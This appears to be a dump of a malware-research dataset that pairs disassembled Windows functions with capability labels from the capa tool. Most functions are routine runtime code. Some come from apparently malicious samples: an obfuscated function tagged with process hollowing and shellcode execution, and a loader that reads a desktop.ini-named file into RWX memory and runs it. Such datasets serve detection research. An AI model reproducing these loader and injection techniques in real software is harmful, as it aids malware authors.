joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4095c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x4a2040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, 0xffff
mov esi, ecx
cmp di, bx
jne 0x4095f7
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00454557
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov ecx, dword [eax]
test ecx, ecx
je 0x409631
mov edx, dword [esi + 0x30]
mov eax, dword [edx]
lea eax, [ecx + eax*2]
cmp ecx, eax
jae 0x409631
dec dword [edx]
mov ax, bx
mov edx, dword [esi + 0x20]
pop edi
mov esi, dword [edx]
lea ecx, [esi + 2]
mov dword [edx], ecx
mov word [esi], bx
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00454557
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x409704
mov ecx, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [ecx], eax
jne 0x40965e
mov eax, dword [esi + 0xc]
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
sar edx, 1
mov dword [eax], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x409691
push dword [esi + 0x4c]
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputwc]
add esp, 8
movzx ecx, bx
cmp ax, di
cmove ecx, edi
pop edi
pop esi
mov ax, cx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00454557
mov esp, ebp
pop ebp
ret 4
movzx eax, bx
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x26]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_wchar_t__char__struct__Mbstatet_::out_struct__Mbstatet___wchar_t_const___wchar_t_const___wchar_t_const____char___char___char___const]
sub eax, 0
je 0x4096d0
sub eax, 1
je 0x4096d0
sub eax, 2
jne 0x409704
push dword [esi + 0x4c]
push dword [ebp - 0x28]
jmp 0x409669
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x24]
sub eax, ecx
mov dword [ebp - 0x34], eax
je 0x4096f4
push dword [esi + 0x4c]
push eax
mov eax, ecx
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp dword [ebp - 0x34], eax
jne 0x409704
lea ecx, [ebp - 0x28]
movzx eax, bx
cmp dword [ebp - 0x30], ecx
mov byte [esi + 0x3e], 1
cmovne edi, eax
mov ecx, dword [ebp - 4]
mov ax, di
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00454557
mov esp, ebp
pop ebp
ret 4
Function at 0x40a640
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x4a2040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x40a6fc
cmp byte [esi + 0x3d], 0
je 0x40a6fc
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x40a6ea
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x40a6b1
sub eax, 1
je 0x40a6b5
sub eax, 2
jne 0x40a6ea
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00454557
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x40a6d3
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x40a6ea
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00454557
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00454557
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.00454557
mov esp, ebp
pop ebp
ret

Function at 0x40a7a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x4a2040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x40a864
cmp byte [esi + 0x3e], 0
je 0x40a864
mov eax, dword [esi]
push edi
push 0xffff
call dword [eax + 0xc]
mov ecx, 0xffff
cmp cx, ax
je 0x40a852
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_wchar_t__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x40a819
sub eax, 1
je 0x40a81d
sub eax, 2
jne 0x40a852
mov byte [esi + 0x3e], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00454557
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3e], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x40a83b
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x40a852
cmp byte [esi + 0x3e], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00454557
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00454557
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.00454557
mov esp, ebp
pop ebp
ret
Function at 0x411890
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, edx
not ebx
mov esi, ecx
mov eax, ebx
test edi, edi
je 0x4118f1
mov cl, byte [esi]
lea esi, [esi + 1]
dec edi
cmp cl, 0x23
jne 0x4118d4
cmp edi, 2
jb 0x4118d4
cmp byte [esi], cl
jne 0x4118d4
cmp byte [esi + 1], cl
jne 0x4118d4
mov eax, ebx
movzx ecx, cl
movzx edx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x478970]
jmp 0x4118a5
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x478970]
test edi, edi
jne 0x4118a5
pop edi
pop esi
not eax
pop ebx
pop ebp
ret
mov cl, byte [esi]
inc esi
test cl, cl
je 0x411920
cmp cl, 0x23
jne 0x411907
cmp byte [esi], cl
jne 0x411907
cmp byte [esi + 1], cl
cmove eax, ebx
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
mov cl, byte [esi]
inc esi
xor eax, dword [edx*4 + 0x478970]
test cl, cl
jne 0x4118f8
pop edi
pop esi
not eax
pop ebx
pop ebp
ret

Function at 0x411a30
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
je 0x411a44
mov dword [ebx], 0
mov edx, 0x49c0f4
call fcn.00411930
mov esi, eax
test esi, esi
je 0x411b32
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
push esi
call edi
add esp, 4
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x411b28
push 2
push 0
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x411b28
push esi
call edi
mov edi, eax
add esp, 4
mov dword [ebp + 8], edi
cmp edi, 0xffffffff
je 0x411b28
push 0
push dword [ebp - 4]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x411b28
mov eax, dword [0x4a2bec]
test eax, eax
je 0x411abc
inc dword [eax + 0xb0]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
add esp, 4
test edi, edi
je 0x411b28
push esi
push dword [ebp + 8]
push 1
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
push esi
cmp eax, dword [ebp + 8]
je 0x411b0d
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, dword [0x4a2bec]
add esp, 4
test eax, eax
je 0x411afa
dec dword [eax + 0xb0]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
test ebx, ebx
je 0x411b1f
mov eax, dword [ebp + 8]
mov dword [ebx], eax
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41fa20
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x4a2040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, ecx
lea edx, [ebp - 8]
push ebx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov eax, dword [0x4a2bec]
push esi
push edi
mov esi, 4
mov edi, dword [eax + 0x3f04]
mov eax, dword [edi + 0xfc]
mov ebx, dword [edi + 0x104]
mov ebx, dword [ebx + eax*4 - 4]
not ebx
movzx eax, byte [edx]
lea edx, [edx + 1]
movzx ecx, bl
xor ecx, eax
shr ebx, 8
xor ebx, dword [ecx*4 + 0x478970]
sub esi, 1
jne 0x41fa60
mov eax, dword [0x4a2bec]
not ebx
cmp dword [eax + 0x3f28], ebx
jne 0x41fa9a
push ecx
push dword [ebp - 0xc]
lea edx, [esi + 4]
mov ecx, ebx
call fcn.00430c90
add esp, 8
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], ebx
push eax
lea ecx, [edi + 0xfc]
call fcn.00430e90
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00454557
mov esp, ebp
pop ebp
ret
Function at 0x425ab0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
cmp dword [edi + 0x53b8], 0
lea esi, [edi + 0x53bc]
je 0x425b32
mov ecx, dword [esi + 4]
test ecx, ecx
jns 0x425aec
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
xor ecx, ecx
test eax, eax
cmovg ecx, eax
push ecx
mov ecx, esi
call fcn.00431b40
push dword [ebp + 8]
mov ecx, esi
mov dword [esi], 0
push ebx
call fcn.00411fe0
mov edx, dword [esi]
mov ecx, 0x4a29e6
push dword [edi + 0x53b8]
lea eax, [edx - 1]
neg edx
sbb edx, edx
and edx, eax
mov eax, dword [edi + 0x53c4]
test eax, eax
push edx
cmovne ecx, eax
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp + 8]
mov ecx, esi
push ebx
call fcn.00411fe0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x425f10
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov bl, byte [ecx]
or eax, 0xffffffff
mov dword [ebp - 4], ecx
push esi
lea esi, [ecx + 1]
push edi
test bl, bl
je 0x425f58
or edi, 0xffffffff
nop dword [eax]
cmp bl, 0x23
jne 0x425f3f
cmp byte [esi], bl
jne 0x425f3f
cmp byte [esi + 1], bl
cmove eax, edi
movzx edx, al
movzx ecx, bl
mov bl, byte [esi]
xor edx, ecx
shr eax, 8
inc esi
xor eax, dword [edx*4 + 0x478970]
test bl, bl
jne 0x425f30
mov ebx, dword [0x4a2bec]
mov edi, dword [ebx + 0x5390]
test edi, edi
je 0x425f90
lea esi, [edi + 4]
test esi, esi
je 0x425f90
not eax
cmp dword [esi], eax
je 0x425f9f
mov edx, dword [esi - 4]
mov ecx, dword [ebx + 0x5388]
add edx, esi
add ecx, 4
xor esi, esi
add ecx, edi
cmp edx, ecx
cmovne esi, edx
test esi, esi
jne 0x425f71
mov ecx, dword [ebp - 4]
call fcn.00425e30
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x425fb0
Capabilities:
Hash data with crc32

Disassembly:
push ebx
mov bl, byte [ecx]
or eax, 0xffffffff
push esi
lea esi, [ecx + 1]
push edi
mov edi, dword [0x4a2bec]
test bl, bl
je 0x425ff6
or edi, 0xffffffff
cmp bl, 0x23
jne 0x425fd7
cmp byte [esi], bl
jne 0x425fd7
cmp byte [esi + 1], bl
cmove eax, edi
movzx edx, al
movzx ecx, bl
mov bl, byte [esi]
xor edx, ecx
shr eax, 8
inc esi
xor eax, dword [edx*4 + 0x478970]
test bl, bl
jne 0x425fc8
mov edi, dword [0x4a2bec]
mov esi, dword [edi + 0x537c]
xor ecx, ecx
not eax
test esi, esi
jle 0x42601c
mov edi, dword [edi + 0x5384]
lea edx, [edi + 4]
nop dword [eax]
cmp dword [edx], eax
je 0x426022
inc ecx
add edx, 0x24
cmp ecx, esi
jl 0x426010
pop edi
pop esi
xor eax, eax
pop ebx
ret
lea eax, [ecx + ecx*8]
lea eax, [edi + eax*4]
pop edi
pop esi
pop ebx
ret
Function at 0x43a440
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x43a47a
mov eax, dword [0x4a2bec]
mov dword [esi + 4], 0
mov dword [esi], 0
test eax, eax
je 0x43a46d
dec dword [eax + 0xb0]
push ecx
call edi
add esp, 4
mov dword [esi + 8], 0
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x43a4ab
mov eax, dword [0x4a2bec]
mov dword [esi + 0x10], 0
mov dword [esi + 0xc], 0
test eax, eax
je 0x43a49e
dec dword [eax + 0xb0]
push ecx
call edi
add esp, 4
mov dword [esi + 0x14], 0
mov ecx, dword [esi + 0x20]
test ecx, ecx
je 0x43a4dc
mov eax, dword [0x4a2bec]
mov dword [esi + 0x1c], 0
mov dword [esi + 0x18], 0
test eax, eax
je 0x43a4cf
dec dword [eax + 0xb0]
push ecx
call edi
add esp, 4
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov ecx, dword [esi + 0x44]
test ecx, ecx
je 0x43a529
mov eax, dword [0x4a2bec]
mov dword [esi + 0x40], 0
mov dword [esi + 0x3c], 0
test eax, eax
je 0x43a51c
dec dword [eax + 0xb0]
push ecx
call edi
add esp, 4
mov dword [esi + 0x44], 0
mov ecx, dword [esi + 0x50]
test ecx, ecx
je 0x43a55a
mov eax, dword [0x4a2bec]
mov dword [esi + 0x4c], 0
mov dword [esi + 0x48], 0
test eax, eax
je 0x43a54d
dec dword [eax + 0xb0]
push ecx
call edi
add esp, 4
mov dword [esi + 0x50], 0
mov ecx, dword [esi + 0x5c]
test ecx, ecx
je 0x43a58b
mov eax, dword [0x4a2bec]
mov dword [esi + 0x58], 0
mov dword [esi + 0x54], 0
test eax, eax
je 0x43a57e
dec dword [eax + 0xb0]
push ecx
call edi
add esp, 4
mov dword [esi + 0x5c], 0
pop edi
lea ecx, [esi + 0x78]
pop esi
jmp fcn.0043cd60
Function at 0x454220
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x338
mov eax, dword [0x4a2040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor edi, edi
mov dword [ebp - 0x338], ecx
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x334], 0x22c
lea eax, [ebp - 0x334]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x4542e0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
nop dword [eax + eax]
push 0
push 0
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x310]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, dword [ebp - 0x338]
lea eax, [ebp - 0x108]
nop
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4542c0
test dl, dl
je 0x4542bc
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4542c0
add ecx, 2
add eax, 2
test dl, dl
jne 0x4542a0
xor eax, eax
jmp 0x4542c5
sbb eax, eax
or eax, 1
test eax, eax
je 0x4542d9
lea eax, [ebp - 0x334]
push eax
push esi
call ebx
test eax, eax
jne 0x454270
jmp 0x4542df
mov edi, dword [ebp - 0x32c]
pop ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x454309
push edi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00454557
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.00454557
mov esp, ebp
pop ebp
ret

Function at 0x45433f
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
xor ecx, ecx
test eax, eax
jne 0x454366
mov eax, ecx
mov dword [ebp - 4], eax
jmp 0x454369
mov eax, dword [ebp - 4]
push esi
mov esi, dword [ebp + 0xc]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.0045431b
pop esi
leave
ret 8

Function at 0x4551bf
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4551fe
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4551fe
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4551fe
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4551fe
cmp dword [ecx + 0x74], 0xe
jbe 0x4551fe
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10009100
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Encode data using base64
Encrypt data using speck
Execute anti-debugging instructions
Execute shellcode via indirect call
Hide graphical window
Parse credit card information
Parse pe header
Resume thread
Use process replacement

Disassembly:
jmp 0x100109b7
push ebp
adc eax, 0x1b0d8609
xchg bp, bp
mov ebp, esp
add ax, sp
push ebx
test bp, 0x6c9a
push edi
and al, 0xa0
bsf ax, bp
btr ax, di
push esi
sub esp, 0x124
setg al
mov eax, dword [0x10077600]
stc
cmp esp, 0xf695582e
xor eax, ebp
test al, al
cmp ebx, 0xa50764b4
test ebp, 0xe19a8e08
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x12c], 0xec34a3e5
cmovp ax, di
shr eax, 0xe
or eax, ecx

Function at 0x1001a663
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1001a6a2
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001a6a2
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001a6a2
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1001a6a2
cmp dword [ecx + 0x74], 0xe
jbe 0x1001a6a2
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1001d31f
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1001d3bc
push ebx
push esi
call fcn.1001d2e8
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1001d27c
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1001d369
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001d3bb
push edi
push eax
call fcn.1001e2da
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1001d389
call fcn.1001bdc4
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001d3ba
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1001d27c
add esp, 0x20
test eax, eax
jne 0x1001d3a8
push edi
call fcn.1001bdc4
jmp 0x1001d3b0
push ebx
call fcn.1001bdc4
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1001d629
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10025cc8
push 0x10025cc0
push str.FlsAlloc
push 0x1f
call fcn.1001d545
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001d65d
push dword [ebp + 8]
mov ecx, esi
call dword [0x10024150]
call esi
jmp 0x1001d663
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1001d6a7
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10025cd8
push 0x10025cd0
push str.FlsGetValue
push 0x21
call fcn.1001d545
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001d6de
push dword [ebp + 8]
mov ecx, esi
call dword [0x10024150]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1001d6e6
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10025ce0
push 0x10025cd8
push str.FlsSetValue
push 0x22
call fcn.1001d545
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001d720
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10024150]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10022da0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10022dcd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10022dcd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10